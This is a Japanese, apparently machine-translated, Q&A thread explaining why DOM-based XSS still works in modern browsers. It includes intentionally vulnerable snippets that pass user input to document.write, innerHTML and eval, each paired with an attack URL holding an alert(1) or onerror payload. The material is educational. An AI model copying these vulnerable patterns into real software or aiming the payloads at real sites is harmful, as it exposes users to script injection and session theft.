DOMベースのXSSがどのように機能するかを理解しようとしています。 この投稿 から、IE11でそれを再現することができましたが、たとえばChromeおよびFirefoxは、少なくともこの正確な例に影響されません。
何が起こるのですかdocument.baseURI
および類似のオブジェクトはエンコードされた文字列を返します。そのため、それをデコードするコードを明示的に記述したり、何かを悪用したりする方法がわからない場合、.
最近のブラウザーがまだ脆弱である他の例はありますか?ウェブ上のほとんどすべての例が同様の脆弱性を指摘しているため、私はなんとか見つけられませんでした。
追伸例の要点は、インジェクションでハッシュバングクエリを作成することです。
http://victim/displayHelp.php?title=FAQ#<script>alert('Hello')</script>
はい、DOMベースのXSSはまだ問題です。 URLエンコーディングが原因で悪用できない問題もありますが、URLエンコーディングが悪用されない状況がいくつかあります。
例の要点は、インジェクションでハッシュバングクエリを作成することです
これは1つの例ですが、DOMベースのXSSには all が含まれます。
データは、URL、DOM自体などのソースから取得できます。
ユーザー入力がlocation.search
から読み取られ、innerHTML
または.write
で処理される最も基本的な例は、値がURL-であるため、実際には最新のブラウザでは機能しませんエンコード。
ただし、location.search
とは異なるソースまたはinnerHTML
とは異なるシンクを持つDOMベースのXSSは引き続き機能し、実際のアプリケーションに存在します。
さまざまなシンクとソースの例の不完全なリストを以下に示します。
ユーザー入力がURLから取得されるDOMベースのXSS脆弱性の例:
<html>
<body>
<script>
url = new URLSearchParams(location.search);
x = url.get('x');
document.write(x);
</script>
</body>
</html>
攻撃:
http://example.com/test.html?x=<script>alert(1)</script>
私の経験では、これは悪用可能なDOMベースのXSS問題の最も一般的なクラスです。
HTMLコードに挿入されるすべてのユーザー提供データを適切にHTMLエンコードするアプリケーションを想定してみましょう。
多くの場合、アプリケーションはユーザーから提供されたデータをDOMから読み取り、安全でない方法で再挿入します。例えば:
<html>
<body>
<input type="text" id="userinput" value=""><img src=x onerror=alert(1)>">
<div id="output"></div>
<script>
userinput = document.getElementById('userinput').value;
output = document.getElementById('output');
output.innerHTML = "Your input was: " + userinput;
</script>
</body>
</html>
XSSを取得するために"
または>
が不要な場合があります。例は、eval
に渡されるユーザー入力です。
<html>
<body>
<script>
x = window.location.hash.substr(1);
eval("var myvar = '" + x + "'");
</script>
</body>
</html>
攻撃:
http://example.com/test.html#';alert(1);x='
"
または>
を必要とせず、document.write
で機能する別の例:
<html>
<body>
<script>
x = window.location.hash.substr(1);
document.write("<input type='text' value='" + x + "'");
</script>
</body>
</html>
</body>
</html>
攻撃:
http://example.com/test.html#test'onmouseover='alert(1)